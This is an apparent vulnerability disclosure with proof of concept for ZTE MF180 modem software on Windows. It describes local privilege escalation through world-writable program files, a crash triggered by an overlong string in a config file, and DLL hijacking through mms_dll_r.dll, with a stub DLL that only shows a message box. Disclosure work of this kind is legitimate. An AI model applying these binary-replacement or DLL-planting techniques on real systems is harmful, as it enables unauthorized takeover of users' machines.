/* * Exploit Title:ZTE Datacard MF180 PCW_TNZNZLMF180V1.0.0B02 (Telecom MF180 Modem) Insecure Permissions Local Privilege Escalation & PoC Local crash & Path Subversion Arbitrary DLL Injection Code Execution (mms_dll_r.dll) * Date: 10/01/2015 * Author: Hadji Samir s-dz@hotmail.fr * Link soft:http://www.zte.co.nz/downloads/software/MF180_PC_Install.exe * Vendor: http://www.zte.co.nz/main/Product_Downloads/MF180_downloads.htm http://www.zte.com.cn/ * Tested on: windows 7 FR * Thanks Anna ############################# Insecure Permissions Local Privilege Escalation ################################################ Technical Details & Description: ================================ A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect application software. The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes. The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full) for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet` directory which has the Everyone group assigned to it with full permissions making every single file inside vulnerable to change by any user on the affected machine. After you replace the binary with your rootkit, on reboot you get SYSTEM privileges. Proof of Concept (PoC): ======================= The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- C:\Users\s-dz>cacls "C:\Program Files\Telecom Connection Manager" C:\Program Files\Telecom Connection Manager Tout le monde:F Tout le monde:(OI)(CI)(IO)F NT SERVICE\TrustedInstaller:(ID)F NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F AUTORITE NT\Système:(ID)F AUTORITE NT\Système:(OI)(CI)(IO)(ID)F BUILTIN\Administrateurs:(ID)F BUILTIN\Administrateurs:(OI)(CI)(IO)(ID)F BUILTIN\Utilisateurs:(ID)R BUILTIN\Utilisateurs:(OI)(CI)(IO)(ID)(accès spécial :) GENERIC_READ GENERIC_EXECUTE CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F C:\Users\s-dz> 2- ########################### PoC Local crash ########################################################## first go to C:\program files\Internet Mobile\NetworkCfg.xml (Network configuration) and write "A" * 3000 in "A" x 3000 . Save it open the program . poc will crash ........... ########################################################################################################## 3-########################Path Subversion Arbitrary DLL Injection Code Execution (mms_dll_r.dll)####################### ZTE Modems is prone to a flaw in the way it loads dynamic-link libraries (mms_dll_r.dll). The program uses a fixed path to look for specific files or libraries. This path includes directories that may not be trusted or under user control. By placing a custom version of the file or library in the path, the program will load it before the legitimate version. This allows a local attacker to inject custom code that will be run with the privilege of the program or user executing the program.This attack can be leveraged remotely in some cases by placing the malicious file or library on a network share or extracted archive downloaded from a remote source. This can be done by tricking a user into opening an unspecified file from the local file system or a USB drive in some cases */ #include BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK); }